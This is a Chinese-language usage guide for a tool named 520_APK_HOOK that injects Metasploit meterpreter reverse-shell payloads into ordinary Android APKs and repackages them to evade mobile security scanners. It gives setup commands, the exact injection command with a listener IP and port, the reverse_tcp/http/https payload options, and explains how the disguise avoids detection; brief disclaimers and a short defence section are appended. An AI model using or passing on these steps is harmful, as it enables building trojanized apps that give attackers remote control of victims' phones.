520_APK_HOOK
字数 1685 2025-08-22 12:22:36
520_APK_HOOK 技术文档
1. 项目概述
520_APK_HOOK 是一个将 Metasploit Framework (MSF) 生成的 payload 注入到正常 APK 文件中并重新打包加固的工具,旨在绕过手机安全管家的检测。
主要特点:
- 被注入的 APK 可以正常运行,不像原始 MSF 生成的 APK 只有图标没有界面
- 安装时不会触发手机安全管家的安全警告
- 目前仅支持单 classes.dex 文件操作
免责声明:本项目仅用于安全研究,禁止用于非法用途。
2. 项目依赖
2.1 硬件/操作系统要求
- Linux 或 macOS 主机
2.2 软件依赖
- Python 3
- OpenJDK 8
- Metasploit Framework
2.3 参考项目
- Java 层 DEX 一键加固脚本
- APK Infector
3. 环境准备
3.1 安装必要组件
# 在Ubuntu/Debian上的示例安装命令
sudo apt update
sudo apt install -y python3 openjdk-8-jdk metasploit-framework
3.2 验证环境
# 检查Python版本
python3 --version
# 检查Java版本(必须为JDK 8)
javac -version
# 检查msfvenom是否可用
msfvenom --help
4. 使用教程
4.1 基本命令格式
python3 hook.py --lhost <IP地址> --lport <端口号> -n <目标APK路径>
参数说明:
--lhost: 指定MSF远控服务器的IP地址--lport: 指定MSF远控服务器的端口号-n: 指定要被注入的正常APK文件路径
4.2 操作流程示例
- 克隆项目仓库:
git clone https://github.com/cleverbao/520apkhook
cd 520apkhook
- 执行注入命令:
python3 hook.py --lhost 192.168.0.21 --lport 1433 -n ./base.apk
- 执行过程:
- 创建随机字符串用于修改MSF payload
- 检查开发环境(JDK 8和msfvenom)
- 显示可用的payload类型供选择
4.3 Payload类型选择
工具提供三种MSF payload选项:
android/meterpreter/reverse_tcpandroid/meterpreter/reverse_httpandroid/meterpreter/reverse_https
用户需要根据实际情况选择(输入1/2/3)。
5. 技术原理
5.1 注入流程
- 使用msfvenom生成原始payload
- 对payload进行混淆处理(使用随机字符串)
- 将处理后的payload注入到目标APK中
- 重新打包APK并进行加固处理
5.2 绕过检测机制
- 界面伪装:保留原始APK的正常功能界面,避免只有图标的可疑情况
- 签名加固:对注入后的APK进行加固处理,避免被安全软件识别为恶意软件
- 行为隐藏:payload运行时不会明显影响原始APK的正常功能
6. 限制与注意事项
6.1 当前限制
- 仅支持单classes.dex文件的APK
- 需要JDK 8环境,其他版本可能导致问题
- 仅测试在Linux/macOS环境下运行
6.2 使用建议
- 测试时使用虚拟机环境
- 不要在实际生产环境中使用
- 仅用于合法的安全研究和渗透测试,且需获得明确授权
- 注入后的APK仍需进行充分测试,确保功能正常
7. 常见问题解决
7.1 JDK版本问题
如果遇到JDK版本错误:
# 设置默认JDK版本(Ubuntu/Debian)
sudo update-alternatives --config javac
# 然后选择JDK 8的版本
7.2 msfvenom找不到
确保Metasploit Framework正确安装:
# 检查安装路径
which msfvenom
# 如果找不到,可能需要重新安装Metasploit
7.3 加固失败
- 检查目标APK是否是单classes.dex结构
- 尝试使用更简单的APK作为目标
- 确保有足够的磁盘空间和内存
8. 进阶使用
8.1 自定义加固选项
可以修改项目中的加固脚本(protect.sh)来调整加固参数:
- 修改混淆强度
- 调整签名配置
- 添加额外的保护层
8.2 多dex支持
对于需要支持多dex的APK,可以:
- 将payload注入到主dex中
- 修改打包脚本处理多个dex文件
- 确保类加载顺序正确
9. 防御措施
作为安全研究人员,了解如何防御此类攻击同样重要:
9.1 检测方法
- 检查APK是否有异常权限请求
- 分析网络通信模式
- 检查是否有不正常的dex结构
9.2 防护建议
- 保持安全软件更新
- 只从可信来源安装应用
- 监控应用的网络行为
- 定期进行安全审计
10. 法律与道德
使用本工具前必须:
- 获得明确的书面授权
- 遵守当地法律法规
- 不用于任何非法目的
- 测试完成后立即删除所有相关文件
本文档详细介绍了520_APK_HOOK项目的使用方法和原理,仅供合法的安全研究使用。任何滥用行为产生的后果与项目作者无关。